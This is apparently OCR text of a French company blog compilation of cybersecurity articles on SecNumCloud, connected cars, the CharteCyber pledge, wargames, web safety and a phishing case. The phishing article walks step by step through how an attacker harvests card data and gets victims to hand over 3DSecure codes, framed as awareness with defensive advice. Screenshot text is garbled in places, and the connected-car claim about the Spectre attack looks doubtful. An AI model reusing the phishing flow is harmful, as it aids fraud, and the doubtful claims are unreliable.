regarder. La présence du terme Softfail est un indicateur qui doit alerter sur la Iégitimité du message.
Malheureusement, il est encore trés fréquent d'observer des noms de domaines qui ne sont pas suffi-
samment protégés et qui n'utilisent pas correctement le triptyque SPF/DMARC/DKIM.

Cyril Bras
Directeur Cybersécurité chez Whaller

[1] https:/www.tomsguide.fr/linkedin-attaque-massivement-par-des-pirates-votre-compte-est-en-danger/

[2] Sender Permitted From https:/www.proofpoint.com/fr/blog/user-protection/what-spf-sender-policy-
framework

[3] https:/www.lesechos.fr/tech-medias/hightech/-quatre-ans-apres-son-mega-rachat-par-microsoft-linkedin-
poursuit-sa-croissance-fulgurante-1208075quatre-ans-apres-son-mega-rachat-par-microsoft-linkedin-poursuit-
sa-croissance-fulgurante-1208075
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La qualification SecNumCloud :
un pas de géant vers la sécurité
des données en ligne

Cybersécurité

La sécurité des données en ligne est plus cruciale que jamais a I'ére numérique, et les autorités
gouvernementales francaises prennent des mesures significatives pour renforcer cette sécurité.
L'une de ces mesures est la qualification SecNumCloud, une norme de sécurité rigoureuse destinée
a protéger les informations sensibles stockées dans le cloud. Dans cet article, nous explorerons ce
qu’est la qualification SecNumCloud, pourquoi elle est importante pour les fournisseurs de services

cloud tels que Whaller, et son impact sur la sécurité des données en France.

a4



Qu’est-ce que la quali-
fication SecNumCloud
?

La qualification SecNumCloud
est une certification de sécuri-
té mise en place par I'’Agence
nationale de la sécurité des
systemes d'information
(ANSSI) en France. Contraire-
ment a une simple certifica-
tion, elle représente une éva-
luation approfondie de la
sécurité d'un service cloud,
plutét qu'une simple validation
de conformité. Elle garantit
que les données stockées
dans le cloud sont protégées
contre une gamme de me-

naces potentielles.

A qui est-elle destinée
?

La qualification SecNumCloud
s'adresse principalement aux
fournisseurs de  services
cloud, qu'ils soient des entre-
prises privées ou des orga-
nismes publics. Elle vise a éva-
luer et a certifier la conformité
des solutions de cloud compu-
ting aux normes de sécurité

définies par I’'ANSSI.

Qui est concerné parla
qualification SecNum-

Cloud ?

En fin de compte, la qualifica-
tion SecNumCloud bénéficie a
un large éventail de parties

prenantes, notamment :

+ Les fournisseurs de ser-
vices cloud : Les presta-
taires de services cloud qui
cherchent a obtenir la qua-
lification SecNumCloud

doivent se conformer a des

normes strictes de sécurité

des données. Cela signifie

qu’ils doivent mettre en

ceuvre des mesures de

sécurité avancées pour
protéger les données de
leurs clients.

« Les clients utilisant Ile
cloud : Les entreprises, les
organisations gouverne-
mentales et d'autres enti-
tés qui utilisent des ser-
vices cloud peuvent étre
assurées que leurs don-
nées sont hébergées sur
des plateformes répondant
aux normes de sécurité les
plus élevées.

« LANSSI : En renforcant la
sécurité des données dans
le cloud, I'ANSSI contribue
a protéger les intéréts

nationaux et a réduire les

risques de cyberattaques

et de fuites de données.
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Pourquoi la qualifica-
tion SecNumCloud
est-elle importante ?

La qualification SecNumCloud
revét une importance cruciale

pour plusieurs raisons :

+ Protection des données
sensibles Elle garantit
que les données sensibles
stockées dans le cloud sont
sécurisées contre les me-
naces potentielles telles
qgue le piratage informa-
tique, les fuites de données
et les accés non autorisés.

+ Renforcement de la
confiance : Elle renforce la
confiance des clients et
des utilisateurs dans les
services cloud, en leur
assurant que leurs infor-
mations sont entre de
bonnes mains.

« Normes de sécurité éle-
vées: Elle éleve les normes
de sécurité dans len-

semble de Il'industrie du

cloud computing, encoura-
geant ainsiles fournisseurs

a améliorer leurs pratiques

de sécurité.


https://www.ssi.gouv.fr/

+ Protection des intéréts
nationaux: Elle contribue a
protéger les informations
sensibles et les infrastruc-
tures nationales contre les
cybermenaces, ce qui revét
une importance straté-
gique. Elle permet aussi de
garantir une immunité aux
lois extraterritoriales qui
peuvent parfois s'appliquer
lorsque l'on s‘appuie sur un

fournisseur non qualifié.

Le réle crucial de
I’ANSSI

LANSSI joue un role central
dans la mise en place et l'ap-
plication de la qualification
SecNumCloud. Elle établit les
exigences de sécurité et véri-
fie la conformité des presta-
taires de services cloud. Grace
a son expertise, 'ANSSI assure
un au niveau de sécurité

numeérique en France.

Pourquoi la qualifica-
tion SecNumCloud est
importante pour Whal-
ler

Whaller, en tant que fournis-
seur de services cloud (SaaS),
attache une grande impor-
tance a la qualification SecNu-

mCloud. Cette qualification

garantit que les données de
ses utilisateurs, gu'elles soient
personnelles, professionnelles
ou gouvernementales, bénéfi-
cient d'un niveau de sécurité
de premier ordre et une immu-

nité aux lois extraterritoriales.

Whaller s'appuie ensuite surun
prestataire qualifié (OVHcloud)
pour la partie infrastructure
(laaS). Ainsi
Whaller ont la garantie que

les clients de

leurs données sont correcte-
ment hébergées a chaque

étape.

Whaller
cours de qualification SecNu-

est également en

mCloud.

La Version 3.2 et son
importance

La derniere version de la quali-
fication SecNumCloud, 1a 3.2, a
été fortement encouragée par
Guillaume Poupard, I'ancien
directeur général de I'ANSSI.
Elle introduit un élément
essentiel I'indépendance
vis-a-vis des lois extraterrito-
riales. Cette mise a jour vise a
garantir que les données stoc-
kées en France ne sont pas
soumises a des lois étrangeéres
potentiellement conflictuelles

avec la protection des don-
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nées personnelles. En adop-
tant la version 3.2, Whaller et
d'autres fournisseurs de ser-
vices cloud francais s'‘en-
gagent a protéger la souverai-
neté des données et la confi-

dentialité de leurs clients.

Conclusion

La qualification SecNumCloud
joue un role crucial dans la
garantie de la sécurité des
données stockées dans le
cloud en France. Pour Whaller,
elle représente un engage-
ment envers la sécurité et la
protection de la confidentialité
des données de ses utilisa-
teurs. Grace a I'’ANSSI, la quali-
fication SecNumCloud est un
élément essentiel pour la pro-
tection des données sensibles
en ligne, ainsi que pour lI'indé-
pendance juridique des don-
nées stockées sur des ser-

veurs francais.

L} En savoir plus : Cybersé-

curité.


https://www.ovhcloud.com/fr/
https://whaller.com/fr
https://blog.whaller.com/category/cybersecurite/

Les voitures connectées:
passoires numeériques
et quete de confidentialiteé

Cybersécurité

Dans I'ére numérique actuelle, I'intégration de technologies de pointe dans nos vies quotidiennes
est devenue monnaie courante. Nos smartphones, montres et maisons sont connectés, mais rien
ne l'est autant que nos véhicules. Les voitures connectées, avec leurs systéemes avancés d’'info-di-
vertissement, de navigation et de télématique, ont radicalement transformé notre expérience de
conduite. Cependant, cette révolution technologique s‘accompagne de préoccupations majeures
concernant la sécurité informatique et la confidentialité des données.
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Les voitures connec-
tées : des passoires
numeériques ?

Les voitures connectées sont
devenues des ordinateurs
roulants. Grace a des sys-
téemes sophistiqués d'infodi-
vertissement, de navigation et
de connectivité, elles offrent
un large éventail de services et
de fonctionnalités. Cepen-
dant, ces avantages s'accom-
pagnent d'une vulnérabilité
significative. Les chercheurs
en sécurité ont démontré a
maintes reprises que les
voitures connectées peuvent
étre des passoires numé-
riques, exposant les conduc-

teurs a des risques majeurs.

L'une des principales vulnéra-
bilités réside dans le manque
de sécurité des systemes
informatiques embarqués. De
nombreux constructeurs
automobiles n‘ont pas accordé
la priorité a la sécurisation de
ces systemes, ce qui signifie
que les pirates informatiques
peuvent exploiter des failles
pour prendre le contrdle des
véhicules a distance. Les
conséquences potentielles
sont effrayantes, allant de la
désactivation de fonctions de
sécurité a la manipulation de

la direction et de la vitesse.

En outre, les voitures connec-
tées sont exposées a des me-
naces de sécurité informa-
tique courantes, telles que les
attaques par déni de service
(DDoS) et les intrusions dans
les réseaux Wi-Fi générés par
la voiture. Linterconnexion de
divers composants des véhi-
cules rend les attaques plus
sophistiquées possibles. Un
exemple concret est l'attaque
Spectre, qui a démontré com-
ment un pirate informatique
peut accéder a des données
sensibles stockées dans le
systeme de divertissement

d'une voiture.

Cependant, ce n‘est pas seule-
ment la sécurité qui est en jeu.
Les voitures connectées sont
également des mines de don-
nées personnelles, collectant
une quantité considérable
d'informations sur les conduc-
teurs et les passagers. Les
constructeurs automobiles,

pour diverses raisons,
s'adonnent a une collecte de
données massive, alimentée
par des capteurs intégrés, des
systemes de navigation GPS
et des connexions cellulaires.
Ces données incluent des
informations sur les habitudes
de conduite, les destinations,
les préférences personnelles
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et plus encore.

Voici quelques exemples :

1. Attaque a distance sur une
Tesla Model S (2016) : Des
chercheurs en sécurité ont
démontré comment ils pou-
vaient prendre le contréle
d'une Tesla Model S a distance
en exploitant une vulnérabilité
dans le logiciel de la voiture. lIs
ont pu verrouiller et déver-
rouiller les portes, activer les
freins, et méme éteindre la

voiture.

2. Vulnérabilité dans le sys-
teme d’infodivertissement
Uconnect de Jeep (2015) : En
2015, des chercheurs en sécu-
rité ont révélé une vulnérabili-
té dans le systeme Uconnect
de Jeep qui permettait aux
pirates de prendre le contrdle
a distance du véhicule. llIs
pouvaient couper le moteur,
désactiver les freins, controler
la radio, et méme prendre le

controle du volant.



3. Piratage de Tesla par des
chercheurs chinois (2021) :
Des chercheurs en sécurité
chinois ont montré comment
ils pouvaient pirater a distance
une Tesla Model S en utilisant
des vulnérabilités de sécurité.
lls ont réussi a accéder aux
caméras, aux écrans tactiles
et a d'autres systemes de la

voiture.

4. Attaque sur les véhicules
BMW, Mercedes-Benz et Audi
(2020) : Des chercheurs ont
révélé des vulnérabilités dans
les clés de communication
sans fil utilisées par de nom-
breuses voitures connectées
de ces marques. Cela aurait pu
permettre a des attaquants de
cloner des clés et de voler des

voitures.

5. Vulnérabilités de I'applica-
tion mobile de Nissan (2016) :
Des chercheurs ont découvert
que l'application mobile Nis-
utilisée

sanConnect, pour

interagir  avec certaines
voitures Nissan, était vulné-
rable aux attaques. Cela aurait
pu permettre aux pirates d'ac-
céder aux données des utilisa-
teurs et de prendre le contréle
de certaines fonctions de la

voiture.

Ces exemples illustrent les
défis de sécurité auxquels
sont confrontées les voitures
connectées. Les construc-
teurs automobiles et les cher-
cheurs en sécurité travaillent
continuellement pour identi-
fier et corriger ces vulnérabili-
tés, mais il est essentiel que
les propriétaires de voitures
connectées prennent égale-
ment des mesures pour sécu-
riser leurs véhicules, comme
garder les logiciels a jour et
éviter de télécharger des

applications non sécurisées.

L'Exploitation des don-
nées par les construc-

teurs

Pour les constructeurs auto-
mobiles, les données repré-
sentent une mine dor. lIs
peuvent les utiliser de diverses
manieres, notamment pour
améliorer leurs produits, per-
sonnaliser les services, et
méme créer de nouvelles
sources de revenus. Les don-
nées peuvent étre exploitées
pour optimiser la maintenance
des veéhicules, fournir des
mises a jour logicielles a
distance et offrir des fonction-
nalités de connectivité avan-

P

cee.
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Cependant, il y a une ligne fine
entre I'utilisation Iégitime des
données pour améliorer les
services et I'exploitation
excessive de la vie privée des
conducteurs. Les construc-
teurs automobiles peuvent
étre tentés de monétiser ces
données en les vendant a des
tiers, comme les annonceurs
ou les compagnies d'assu-
rance. Cela souléve des préoc-
cupations légitimes concer-
nant la confidentialité et la
sécurité des données person-

nelles.

Luc Julia chez Renault

: un nouveau chapitre
pour les données
connectées

Larrivée de Luc Julia, I'un des
cerveaux derriere Siri d’Apple,
chez Renault en tant que Chief
Scientific Officer, souléve des
questions sur [I'exploitation
des données personnelles
dans l'industrie automobile.
Julia est un expert en intelli-
gence artificielle et en appren-
tissage automatique, des
domaines qui ont un potentiel
énorme pour lanalyse des
données collectées par les

voitures connectées.



Renault, comme de nombreux
autres constructeurs, cher-
chera probablement a tirer
parti des compétences de
Julia pour optimiser l'utilisa-
tion des données des véhi-
cules connectés. Cependant, il
sera essentiel pour Renault et
d'autres entreprises du sec-
teur de I'automobile de garan-
tir que les données des
conducteurs sont protégées
de maniére appropriée, et que
la transparence et le consen-
tement des utilisateurs sont
respectés.

Solutions pour amélio-
rer la sécurité numeé-
rique et la confidentia-
lité

Face a ces défis, des solutions
doivent étre envisagées pour
améliorer la sécurité numé-
rigue des voitures connectées
et protéger la confidentialité

des données des conducteurs.

Voici quelques pistes a explo-

rer:

« Sécurisation des sys-
temes embarqués : Les
constructeurs automobiles
doivent investir davantage
dans la sécurisation des

systemes informatiques

embarqués, en utilisant
des méthodes de chiffre-
ment et des mises a jour
logicielles fréquentes pour
corriger les vulnérabilités.
Reglementation renforcée
Les  gouvernements
doivent élaborer des régle-
mentations plus strictes en
matiere de cybersécurité
pour I'industrie automobile,
exigeant des normes mini-
males de sécurité et la
divulgation des pratiques
de collecte de données.
Controle des données
Les conducteurs doivent
avoir un contréle plus gra-
nulaire sur les données col-
lectées par leurs véhicules,
avec la possibilité de
consentir ou de refuser leur
utilisation pour des finalités
spécifiques.
Transparence et respon-
sabilité : Les constructeurs
automobiles doivent étre
transparents quant a leur
utilisation des données, et
responsables en cas de
violations de données ou
d'abus.
Technologie de sécurité :
Les conducteurs devraient
étre encouragés a utiliser
des solutions de sécurité
telles que des pares-feux
pour leurs voitures
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connectées, en plus d'ou-
tils de gestion de la confi-

dentialité.

La sécurité informatique et la
confidentialité des données
dans le secteur des voitures
connectées sont des défis
cruciaux pour l'industrie et les
législateurs. La protection de
la vie privée des conducteurs
tout en permettant aux
constructeurs d'innover et de
fournir des services de qualité
est un équilibre délicat a
atteindre. Larrivée de spécia-
listes de [l'intelligence artifi-
cielle tels que Luc Julia dans
des entreprises automobiles
comme Renault promet des
avancées significatives dans
l'utilisation des données des
véhicules connectés. Cepen-
dant, cela souligne également
I'importance de garantir que
ces données sont utilisées de
maniére éthique et sécurisée,
dans le respect de la vie privée

des utilisateurs



L'avenir des voitures connec-
tées est prometteur, avec des
avancées technologiques qui
pourraient rendre nos routes
plus slres et nos expériences
de conduite plus agréables.
Cependant, il est impératif que
les constructeurs automo-
biles, les régulateurs et les
consommateurs collaborent
pour s‘assurer que la sécurité
numeérique et la confidentialité
des données sont au coeur de
cette transformation. La route
vers des voitures connectées
plus slres et plus respec-
tueuses de la vie privée est en
cours, mais elle exige une vigi-
lance constante et des efforts
collectifs pour atteindre cet
objectif.

En fin de compte, les voitures
connectées doivent offrir une
expérience de conduite enri-
chissante sans compromettre
la sécurité numérique ni violer
la vie privée des conducteurs.
La clé de cette réussite réside
dans l'adoption de pratiques
exemplaires de sécurité, une
réglementation appropriée et
une sensibilisation continue
des consommateurs. Il est
temps de faconner un avenir
ou la technologie des voitures
connectées peut véritable-
ment servir 'humanité, tout en

respectant ses droits fonda-
mentaux a la sécurité et a la
confidentialité.
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Cybermoi/s 2023 : Whaller souscrit
a la CharteCyber
de Cybermalveillance.gouv.fr

Cybersécurité

# Whaller

Pendant le mois de la cybersécurité « Cyber-
moi/s », de nombreuses entités se sont enga-
gées a promouvoir un cadre de cybersécurité
responsable et vertueux en signant la Charte-
Cyber. Les premiers signataires visent a
démontrer I'importance de la cybersécurité au
sein de leurs organisations, en respectant ces
engagements. lls souhaitent également sensi-
biliser leur écosystéme et encourager d'autres

organisations a suivre leur exemple.
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Selon Jéréome Notin, Directeur Général de
Cybermalveillance.gouv.fr, « A travers cette
charte, nous avons souhaité envoyer un signal
fort pour que la cybersécurité soit reconnue
comme un enjeu sociétal. Les organisations
s'engagent a mettre en place des mesures de
sensibilisation et de protection cyber de pre-
mier niveau, tant sur les aspects techniques

qu'humains. »


http://cybermois.gouv.fr/
http://cybermalveillance.gouv.fr/

La CharteCyber

Les organisations
signataires de la Char-
teCyber s‘’engagent a:

1.

Prioriser la cybersécurité
en fonction des risques
pesant sur leur activité.
Désigner un « référent
cybersécurité » chargé de
promouvoir ce sujet en
interne.

Sensibiliser I'ensemble de
leurs collaborateurs aux
risques cyber et aux enjeux
pour l'organisation.

Former leurs collabora-
teurs aux bonnes pratiques
et aux réflexes de cybersé-
curité, et a veiller a leur
application.
Anticiper les cyberat-
taques en élaborant des
plans de secours adaptés
et les tester régulierement.
Evaluer fréquemment le
niveau d'exposition aux
risques cyber de leurs sys-
témes d'information.

Faire appel, si nécessaire, a
des fournisseurs et presta-
taires de cybersécurité
compétents, certifiés par
des labels ou certifications.
Promouvoir les enjeux de la
cybersécurité et les
bonnes pratiques aupres
de toutes leurs parties pre-

nantes (clients, adminis-

trés, fournisseurs, parte-
naires) pour évoluer dans
un environnement numeé-

rique de confiance.

Une évidence pour
Whaller

Limportance de la cybersécu-
rité réside dans plusieurs

aspects cruciaux :

(RGPD), exigent que les
entreprises protegent adé-
guatement les données de
leurs utilisateurs.

. Protection de la réputa-

tion : Les violations de
données et les atteintes a
la cybersécurité peuvent
entrainer une perte de
réputation majeure pour

une entreprise. Une solide

. Conformité aux

1. Protection des données

Whaller est

une plateforme sociale qui

utilisateurs :

traite et stocke potentielle-
ment des données sen-
sibles de ses utilisateurs.
La cybersécurité est
essentielle pour garantir la
protection de ces données
contre les menaces de

piratage et de vol.

. Maintien de la confiance

des clients : Les utilisa-
de Whaller s‘at-

tendent a ce que leurs

teurs

informations personnelles
et leurs communications
soient  sécurisées. En
maintenant un haut niveau
de sécurité, Whaller ren-
force la confiance de ses
clients et utilisateurs.

regle-
ments : De nombreuses
réglementations, telles que
le Réglement général sur la

protection des données
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cybersécurité permet
d'éviter ces situations pré-
judiciables.
5. Continuité des opérations
Les attaques informa-
tiques peuvent perturber
les opérations d'une entre-
prise. La cybersécurité aide
a garantir la continuité des
services, ce qui est essen-
tiel pour des plateformes
comme Whaller.
6. Innovation et développe-
ment : En investissant
dans la cybersécurité (qua-
lification SecNumCloud en
cours), Whaller peut conti-
nuer a innover et a déve-
lopper de nouvelles fonc-
tionnalités sans craindre
les vulnérabilités poten-

tielles.

Whaller integre déja le module
« Assistance Cyber en ligne »
de Cybermalveillance.gouv.fr

dans Whaller.


https://blog.whaller.com/2022/10/25/whaller-integre-le-module-assistance-cyber-en-ligne-de-cybermalveillance-gouv-fr/

Rejoignez la CharteCyber

Si  vous souhaitez que votre organisation s‘engage dans cette démarche de
responsa-bilité cyber, nous vous invitons a adopter la CharteCyber et a partager votre
engagement avec toutes vos parties pre-nantes.

Que vous soyez une entre-prise, une collectivité ou une association, et que vous cher-
chiez a renforcer la cybersé-curité de votre systeme infor-matique, Cybermalveillance.-
gouv.fr peut vous mettre en relation avec des profession-nels de la cybersécurité label-
lisés ExpertCyber, spécialisés dans la sécurisation des sys-témes d'information profes-
sionnels.

e,

=

TRt G

——CharteCyber——

La présemnte charte, réalisée dans la cadre du Mois evropéen de la cybersécurita (Cybermaoifs),
énonce B engagements principaux des organisations pour la mise en place d'un cadre de
eybersécurité vartueux et responsable. En ratifiant cette charte et en assurant sa prometion,
I'sbjectif des signataires est de contribuer & fédérer avtour de I'enjeu économique et
sociétal qu'est la cybersécurité, ainsi que des bonnes pratiques & mettre en ceuvra pour
y répandre.

JENGAGE MON ORGANISATION (entreprise, association, collectivité..) a:

Faire de la cybersécurité une priorité stratégique adaptée aux risques qui
peuvent peser sur son activité,

Mommer un « référent cybersécurité » en charge de porter et d'animer le
sujet en interne.

Sensibiliser I'ensemble des collaborateurs aux risques cyber et aux enjeux
pour l'erganisation.

Formersescollaborateurs aux bonnes pratiques et réflexes de cybersécurité
a adopter et a en veiller a I'application.

Anticiper les cyberattaques en élaborant des plans de secours adaptés et
a en vérifier périodiquement la pertinence par des exercices.

2 % %

Evaluer régulidrement le niveau d'exposition aux risques cyber des
différentes composantes de son systéme d’informatien afin d'en décliner
les mesures correctrices nécessaires.

S'appuyer, autant que de besoin, sur des fournisseurs et prestataires de
cybersécurité & la compétence reconnue et attestée par des labels ou
certifications,

X

Promouveir avtant que possible auprés de l'ensemble de ses parties
prenantes (clients, administrés, fournisseurs, partenaires...) les enjeux liés
a la cybersécurité et les bonnes pratiques 3 observer pour travailler et
développer son activité dans un environnement numérique de confiance.

cybermois.cybermalveillance.gouv.fr

Q © Q9 QOO0 P @

2y,
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http://cybermalveillance.gouv.fr/
https://www.cybermalveillance.gouv.fr/tous-nos-contenus/actualites/chartecyber#chartecyber-engagements

Comprendre les cyber
wargames : Le défi ludique
du hacking

Cybersécurité

Les experts en cybersécurité sont constamment mis au défi de repousser les limites de leur
savoir-faire pour contrer les menaces en constante évolution. L'un des moyens les plus fascinants
et éducatifs pour renforcer ces compétences est le cyber wargame. Ces jeux de hacking simulés
offrent une plateforme unique pour mettre a I'épreuve les compétences en sécurité informatique,
apprendre de nouvelles techniques et relever des défis stimulants.
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Qu’est-ce qu'un «
cyber wargame » ?

Un cyber wargame est un jeu
informatique qui simule des
scénarios de sécurité réalistes
ou les participants doivent
utiliser leurs compétences en
hacking éthique pour résoudre
des défis spécifiques. Ces jeux
peuvent varier en complexité,
allant des énigmes relative-
ment simples aux scénarios de
sécurité réseau sophistiqués.
Les participants sont souvent
confrontés a des problemes
tels que la recherche de vul-
nérabilités, l'exploitation de
failles, la détection d'intru-
sions, et bien plus encore. Les
cyber wargames permettent
aux professionnels de Ia
cybersécurité de s'entrainer
dans un environnement

contrélé et sans risque.

Comment fonc-
tionnent-ils ?

Les cyber wargames sont
généralement hébergés sur
des plateformes en ligne
dédiées. Les participants se
voient attribuer un scénario et
doivent résoudre un ensemble
de défis pour progresser. Ces
défis sont congus pour imiter
des situations réelles que les

professionnels de la cybersé-

curité pourraient rencontrer.
Les participants utilisent leurs
compétences techniques pour
analyser les systemes, identi-
fier les failles, développer des
exploits et protéger les actifs

numeériques.

Pourquoi sont-ils im-
portants pour la cyber-
sécurité ?

1. Apprentissage pratique :
Les cyber  wargames

offrent un apprentissage

pratique qui complete la

théorie. Les participants
peuvent mettre en pra-
tique leurs compétences
en temps réel, ce qui ren-
force leur compréhension
de la cybersécurité.

2. Détection de vulnérabili-
tés : Les wargames per-
mettent aux profession-
nels de la cybersécurité de
rechercher et de com-
prendre les vulnérabilités
et les failles de sécurité.
Cela les aide a anticiper les
attaques potentielles.

3. Amélioration des compé-
tences : Les participants

développent constamment

leurs compétences, car les
cyber wargames évoluent
pour refléter les dernieres

menaces et techniques de

53

hacking.

4. Préparation aux situa-
tions réelles : Les warga-
mes préparent les profes-
sionnels de la cybersécuri-
té a réagir efficacement en
cas d'incident de sécurité
réel. lls acquierent de I'ex-
périence dans la gestion de
crises.

5. Innovation : Les wargames
favorisent l'innovation en
encourageant les partici-
pants a penser de maniéere
créative pour résoudre des

problémes complexes.

Les cyber wargames, tels que
ceux organisés par TEHTRIS,
jouent un réle crucial dans la
formation et le perfectionne-
ment des experts de la cyber-
sécurité. lls offrent une expé-
rience pratique et stimulante
qui permet de rester en phase
avec les menaces numériques
en constante évolution. Les
wargames sont bien plus
qu'un simple jeu, ce sont des
outils éducatifs et de forma-
tion, essentiels pour ceux qui
défendent les systemes infor-
matiques du monde entier. lIs
incarnent la fusion passion-
nante du hacking éthique, de
I'apprentissage continu et de

la cybersécurité moderne.


https://blog.whaller.com/2023/10/10/whaller-partenaire-de-tehtris-pour-lorganisation-de-ses-wargames

Internet en toute sécurite:
protégez-vous avant
qu’ill ne soit trop tard

Cybersécurité

b
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Internet est un vaste univers regorgeant d’'opportunités et d'informations précieuses, mais il com-
porte également des risques pour ceux qui ne prennent pas leur sécurité numérique au sérieux.
Dans cet article, nous expliquerons pourquoi il est essentiel pour les utilisateurs ordinaires d’Inter-
net de comprendre les bases de la sécurité numérique et d'adopter de bonnes pratiques. Nous illus-
trerons notre propos avec des exemples concrets pour vous aider a prendre conscience que la

sécurité numérique est une priorité, car les menaces ne concernent pas seulement les autres.
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Pourquoi la Sécurité
Numérique est cruciale
pour tous

Imaginez Internet comme une
grande ville virtuelle. Dans
cette ville, vous partagez des
informations personnelles,
effectuez des transactions
financieres, échangez des
messages avec des amis, et
bien plus encore. Tout comme
dans une grande ville, il existe
des risques.

1. Protection des informa-
tions personnelles : Si
vous ne protégez pas vos
informations personnelles,
des cybercriminels
les voler. Par
identité

pourrait étre usurpée, et

peuvent

exemple, votre
vous pourriez étre victime
de fraudes financiéeres.

2. Cyberharcelement : Les
réseaux sociaux peuvent
étre un lieu de harcelement
en ligne. Des inconnus

peuvent vous envoyer des

messages haineux, ce qui

peut avoir un impact
sérieux sur votre bien-étre
émotionnel.

3. Virus et malwares : Navi-
guer sur des sites web dou-
teux ou télécharger des
fichiers

suspects peut

infecter votre ordinateur

4. Vol

avec des virus ou des

malwares. Cela peut
endommager vos données
ou votre matériel.
d’identité

vous partagez des infor-

Lorsque

mations sensibles, comme
des numéros de carte de
crédit, sans protection,
vous courez le risque de
devenir une victime de vol

d’'identité.

® Décrypter les menaces informatiques

Comment vous proté-

ger

- Mots de passe solides
Utilisez des mots de passe
uniques et complexes pour
vos comptes en ligne. Ne
réutilisez pas les mémes
mots de passe pour tous
vos comptes.

+ Mises a jour réguliéres :
Assurez-vous que votre
systeme d'exploitation et
vos logiciels sont a jour. Les
mises a jour contiennent
souvent des correctifs de
sécurité essentiels.

« Ne cliquez pas sur des
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L3

liens suspects : Si vous
recevez un e-mail ou un
message inattendu avec
des liens, ne les cliquez
pas. Les escrocs utilisent
souvent de fausses pages
web pour voler des infor-
mations.

Sensibilisation : Apprenez
a reconnaitre les signaux
dalarme. Si une offre
semble trop belle pour étre
vraie, c'est peut-étre le
cas. Soyez prudent lorsque
vous partagez des infor-
mations personnelles en
ligne.

Utilisez une protection
antivirus : Investissez dans
un bon logiciel antivirus
pour protéger votre ordina-
teur contre les menaces en

ligne.

Décrypter la cybersécurité



https://youtu.be/PCujGLAXuF8?si=eJe3OTVwXaJ8UGKx
https://youtu.be/-67HSCmizmc

La sécurité numérique est essentielle pour tous les utili-sateurs d'Internet, car les
me-naces peuvent toucher n'im-porte qui. Si vous adoptez de bonnes pratiques et
suivez des mesures de sécurité de base, vous serez mieux proté-gé contre les
cybercriminels et les conséquences potentielles de I'absence de sécurité
numérique. Prenez les devants pour sécuriser vos données et votre

bien-étre en ligne. Ne laissez pas les me-naces numeériques devenir votre réalité.
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Passer du hameconnage
au moissonnage

Cybersécurité

Le phénoméne du hameconnage (ou « phishing » en anglais) connu également sous le nom de phi-

shing, permet a un pirate informatique de s'emparer d’identifiants de connexion, de données per-
sonnelles ou encore de données bancaires. C’est une attaque qui est redoutable lorsqu’elle est bien

menée. Elle est frequemment utilisée en amont des attaques par rangcongiciel par exemple.

Le moissonnage (ou « harvesting » en anglais) quant a lui, fait souvent référence a la collecte auto-

matisée de grandes quantités d’informations, généralement a des fins malveillantes.

L'exemple du jour montre a quel point les pirates sont ingénieux et réactifs.
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Etape 1: Réception d'un courriel se faisant passer pour le service informa-
tique

HET] Froddaba e bim b

Remboursement bty Tafp e B
BRi i,
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Il s'agit d'un courriel émis a l'aide d'un compte piraté d'une université. Le courriel semble cohérent

néanmoins, il y a des fautes d'orthographe.

Etape 2 : Collecte du numéro étudiant et clic surle lien

Inscriptions 2023-2024

e o T T
el PHEN i 4 L R
E ey - vl

La page reprend l'aspect d’'un formulaire d’'une université, le lien d'aide pointe vers la page officielle
d‘aide de I'application. En revanche I'adresse de la page n'a aucun lien:

sy firremb.web.appidentfication himiZiml_id= /fr_FR/LoginfiD=9729

Nous ne sommes donc pas sur le site officiel.

La encore des fautes sur la page peuvent étre un indice complémentaire.
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https://blog.whaller.com/2023/04/04/comment-detecter-une-tentative-descroquerie-par-mail/

Etape 3: Collecte des données bancaires

I'Dﬂlﬁﬂ}q. B2 Paamen Ecunsd
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Date Texpiration

CrypADgramme visus

Désormais l'attaquant souhaite obtenir vos moyens de paiement. Vous pensez étre protégés par les
dispositifs mis en place par les banques type 3DSecure... il n'en n‘est rien, I'attaquant a tout prévu.

Etape 4 : Validation 3DSecure et débit sur la carte

Celte étape ast obligatnira CEm

¥ e iy ey

I e e i i L

e il . i s s i el i o vl e e e e
4 T T W R L e S e S e G G v s e

Désormais l'attaquant dispose des informations de votre carte et peut donc procéder a des achats
sur Internet qui normalement seront bloqués par la protection 3DSecure sauf si vous donnez le code

de sécurité...

Comment I'attaquant réussi-t-il a envoyer un SMS a la victime ou a faire afficher une notification via
I'application de la banque ? En réalité, I'attaquant ne connait pas le numéro de téléphone de la
victime ; la banque oui et le numéro est associé a votre carte ou a votre appli mobile. Lattaquant va
donc procéder a un achat en ligne dés qu'il dispose du numéro de carte. Cet achat va entrainer la
procédure 3DSecure qui passe soit par votre appli mobile, soit par SMS. Vous validez la transaction ou
communiquez le code recu par SMS, I'attaquant peut alors valider son achat en ligne.
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Etape 5 : Exploitation des informations.
Une fois que l'attaquant a réussi a collecter les informations, il peut les exploiter de diverses ma-

nieres : ventes sur le darkweb, transactions frauduleuses, usurpation d’identité, ou lancement

d'autres attaques ciblées en utilisant les informations collectées.

Etape 6 : Comment se protéger ?

1.

Ne jamais cliquer sur les liens dans les mails dés lors qu'il s'agit d'argent ou de probleme informa-
tique

Regarder I'adresse de I'expéditeur et s'il y a un lien avec la signature du mail (dans notre exemple
le courriel provient d'un compte remboursement mais dans le contenu il est fait état de la DSI)
Passez la souris au-dessus du lien dans le message pour révéler I'adresse. (Dans notre exemple le
lien ne pointe pas vers une ressource l'université).

Ne communiquez jamais vos coordonnées bancaires si vous n'étes pas en train de réaliser un
achat. Les remboursements sont rarement réalisés par carte bancaire.

Ne communiquez jamais les codes de validation recu par SMS ou sur vos applications mobiles.
Dans les applications regardez toujours le détail de la transaction pour le ver le pot aux roses.
Utilisez un gestionnaire de mots de passe pour éviter de saisir vos identifiants sur des sites web
malveillants.

Activez la double authentification (2FA) chaque fois que cela est possible, ce qui ajoute une
couche de sécurité supplémentaire méme si vos identifiants sont compromis.

Soyez sceptique vis-a-vis des demandes urgentes ou des menaces dans les courriels, car les
attaquants utilisent souvent des tactiques d’intimidation.

Gardez vos logiciels a jour, y compris votre systeme d'exploitation, votre navigateur et les plugins,
car cela réduit les vulnérabilités potentielles.

Eduquez-vous et formez-vous réguliérement sur les derniéres techniques du hamecgonnage et

les tendances en matiére de sécurité.

Il est essentiel de se rappeler que, bien que la technologie soit un élément crucial pour se défendre

contre le hameconnage, la sensibilisation et I'éducation sont tout aussi importantes pour prévenir de

telles attaques.

1 En savoir plus : Cybersécurité
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https://www.ssi.gouv.fr/particulier/precautions-elementaires/dix-regles-de-base/
https://blog.whaller.com/2023/10/17/internet-en-toute-securite-protegez-vous-avant-quil-ne-soit-trop-tard/
